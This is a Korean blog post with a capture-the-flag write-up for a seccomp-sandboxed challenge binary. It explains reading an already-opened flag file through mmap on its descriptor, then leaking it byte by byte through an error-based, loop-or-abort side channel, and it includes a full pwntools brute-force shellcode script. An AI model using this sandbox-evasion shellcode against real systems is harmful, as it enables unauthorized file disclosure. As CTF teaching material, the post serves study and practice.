티스토리 뷰
christmas ctf
에서 나왔던 babyseccomp
이다.
쉘코딩을 잘 못해서 라업의 도움을 조금 받았다 ㅠㅠ
binary summary
- error based shellcoding
Exploit vector
전형적인 쉘코딩 문제답게 다음과 같이 seccomp filtering
을 설정해주고, 입력받은걸 실행해준다.
여기서 쉘따는건 힘들어보이므로 orw
를 해야한다.
바이너리 자체에서 /flag
를 open
해주기에 우리는 read, write
만 수행하면 된다.
read
read
는 다음과 같은 두가지 방법으로 우회할 수 있다.
rax
=0x4000000
mmap(1, 0x1000, 4, 1, fd(3), 0, 9)
rax = 0x4000000
seccomp tools
의 결과를 보면 0x4000000
초과이면 abort
를 띄운다.
하지만 rax
가 정확히 0x4000000
이라면 abort
를 호출하지않으며, 0x4000000
은 내부 bit연산으로
read
를 호출하는격이된다.
mmap(1, 0x1000, 4, 1, 3, 0, 9)
mmap
을 호출하는데 특이한 부분은 fd
가 들어갈 영역에 이전에 open
한 /flag
파일의 fd
인 3을 넣는다.
이러면, 새로 매핑되는 메모리에 /flag
값을 read
할 수 있게된다.
write
그냥 간단하게 error based shellcoding
을 수행해서
일치하면 무한루프, 틀리면 abort
를 띄어서 값을 구했다.
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
flag = ''
for index in range(0, 100):
for guess in range(0x20, 0x7f):
p = process('./babyseccomp')
sc = '''
mov rdi, 1
mov rsi, 0x1000
mov rdx, 4
mov r10, 1
mov r8, 3
mov r9, 0
mov rax, 9
syscall
mov r14, rax
add r14, %d
jmp check
check:
xor rcx, rcx
mov cl, byte PTR [r14]
xor rbx, rbx
mov bl, %d
cmp cl, bl
je pass
jmp fail
pass:
mov rax, 9
syscall
jmp pass
fail:
xor rax, rax
mov al, 0x1
syscall
''' % (index, guess)
try:
p.recv()
p.send(asm(sc))
p.recv(timeout=0.3)
flag += chr(guess)
print('found : ' + flag)
p.close()
if chr(guess) == '}':
exit(0)
break
except:
p.close()
print(flag)
댓글